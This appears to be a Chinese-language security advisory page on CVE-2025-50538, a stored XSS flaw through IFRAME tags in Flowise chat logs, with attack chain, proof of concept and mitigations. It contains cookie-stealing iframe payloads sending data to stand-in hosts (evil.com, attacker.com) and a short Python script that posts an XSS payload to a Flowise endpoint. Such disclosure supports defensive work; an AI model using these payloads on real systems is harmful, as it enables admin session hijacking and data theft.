IPBUF安全漏洞报告
English
CVE-2025-50538 CVSS 8.2 高危

CVE-2025-50538 Flowise IFRAME元素存储型XSS漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-50538
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Flowise

相关标签

XSS存储型XSSStored XSSIFRAME注入FlowiseAI平台LangChain高危漏洞Web安全管理员劫持

漏洞概述

CVE-2025-50538是Flowise(开源AI可视化工作流构建平台)在3.0.5版本之前存在的一个高危存储型跨站脚本(XSS)漏洞。该漏洞允许攻击者通过在聊天日志中注入恶意的IFRAME元素,当管理员查看聊天日志时,恶意代码将在管理员的浏览器上下文中执行。

Flowise是一款基于LangChain的开源UI可视化工具,允许用户通过拖拽方式构建和部署基于大语言模型(LLM)的AI应用。由于其广泛用于企业内部AI助手、客服机器人等场景,管理员通常拥有较高的系统权限,因此该漏洞的危害程度较高。

该漏洞的CVSS 3.1评分为8.2分,属于高危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),但需要用户交互(UI:R),影响范围为变更(S:C),对机密性影响为高(C:H),对完整性影响为低(I:L),对可用性无影响(A:N)。这表明该漏洞虽然需要管理员主动查看聊天日志触发,但一旦触发,可能导致管理员会话被劫持、敏感信息泄露,甚至进一步利用管理员权限执行恶意操作。

该漏洞已在Flowise 3.0.5版本中通过PR #4905修复,并发布了相应的安全公告GHSA-964p-j4gg-mhwc。建议所有使用Flowise的用户尽快升级到3.0.5或更高版本以消除风险。

技术细节

该漏洞的核心问题在于Flowise在渲染聊天日志内容时,未对用户输入进行充分的HTML标签过滤和转义处理,特别是对IFRAME元素缺乏有效的安全过滤机制。

**漏洞原理:**
1. Flowise的聊天功能允许用户与AI模型进行交互,对话内容会被持久化存储到聊天日志中。
2. 当普通用户(可能经过身份验证,也可能未经过身份验证,取决于部署配置)通过聊天接口提交包含恶意HTML/IFRAME标签的内容时,这些内容会被存储到后端数据库中。
3. 管理员通过Flowise的管理后台查看聊天日志时,后端从数据库中读取聊天内容并直接渲染到前端页面,未对HTML标签进行适当的转义或过滤。
4. 恶意IFRAME元素在管理员的浏览器中加载并执行,可能加载任意URL、窃取管理员的会话Cookie、执行JavaScript代码等。

**利用方式:**
攻击者可以通过聊天接口提交包含类似 `<iframe src="https://evil.com/steal?cookie=" + document.cookie></iframe>` 的恶意载荷。当管理员在后台查看该聊天记录时,恶意IFRAME将被渲染并执行,从而实现对管理员会话的劫持或敏感信息的窃取。由于该漏洞利用了IFRAME标签的特性,攻击者还可以利用其加载钓鱼页面、执行点击劫持等攻击。

**修复方式:**
Flowise在3.0.5版本中通过PR #4905对聊天日志的渲染逻辑进行了修复,增加了对HTML内容的严格过滤和转义处理,防止恶意标签被执行。

攻击链分析

STEP 1
步骤1:发现目标
攻击者发现部署了Flowise(版本低于3.0.5)的目标系统,并定位其聊天接口端点。
STEP 2
步骤2:构造恶意载荷
攻击者构造包含恶意IFRAME元素的XSS载荷,该载荷可以用于窃取Cookie、加载钓鱼页面或执行任意JavaScript代码。
STEP 3
步骤3:注入恶意内容
攻击者通过聊天接口提交包含恶意IFRAME载荷的消息,该内容被存储到Flowise的聊天日志数据库中。
STEP 4
步骤4:等待管理员查看
攻击者等待管理员通过Flowise管理后台查看聊天日志,此时恶意IFRAME元素将在管理员的浏览器上下文中渲染。
STEP 5
步骤5:执行恶意代码
恶意IFRAME在管理员浏览器中执行,可以窃取管理员会话Cookie、获取管理员权限、执行进一步攻击,如访问敏感数据、修改系统配置等。
STEP 6
步骤6:权限提升与持久化
利用获取的管理员权限,攻击者可以植入后门、修改系统配置、窃取敏感数据,实现对Flowise平台的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-50538 PoC: Stored XSS via IFRAME in Flowise Chat Log --> <!-- Steps to reproduce: 1. Send a chat message containing the malicious IFRAME payload below 2. Wait for an admin to view the chat log in the admin panel 3. The malicious JavaScript will execute in the admin's browser context --> <!-- Malicious payload to inject via chat --> <iframe src="javascript:alert('XSS-CVE-2025-50538');document.location='https://attacker.com/steal?c='+document.cookie" width="0" height="0" frameborder="0"></iframe> <!-- Alternative payload using src attribute to load external content --> <iframe src="https://attacker.com/phishing-page" style="width:100%;height:500px;border:none;"></iframe> <!-- Python exploit script for automated testing --> import requests TARGET_URL = "https://target-flowise-instance.com" CHAT_ENDPOINT = f"{TARGET_URL}/api/v1/prediction/CHATFLOW_ID" payload = { "question": "<iframe src='javascript:alert(document.cookie)' width='0' height='0'></iframe>" } response = requests.post(CHAT_ENDPOINT, json=payload) print(f"Payload sent. Status: {response.status_code}") print("When admin views chat logs, XSS will trigger.")

影响范围

Flowise < 3.0.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web服务器或反向代理层面配置内容安全策略(CSP),禁止页面加载内联框架和来自外部域名的iframe内容;2)在Flowise前端代理(Nginx/Apache)中添加规则,对聊天日志相关的API响应进行HTML标签过滤;3)为管理员浏览器安装XSS过滤插件;4)限制管理员对聊天日志功能的访问权限;5)监控异常的管理员会话活动,及时发现潜在的XSS攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表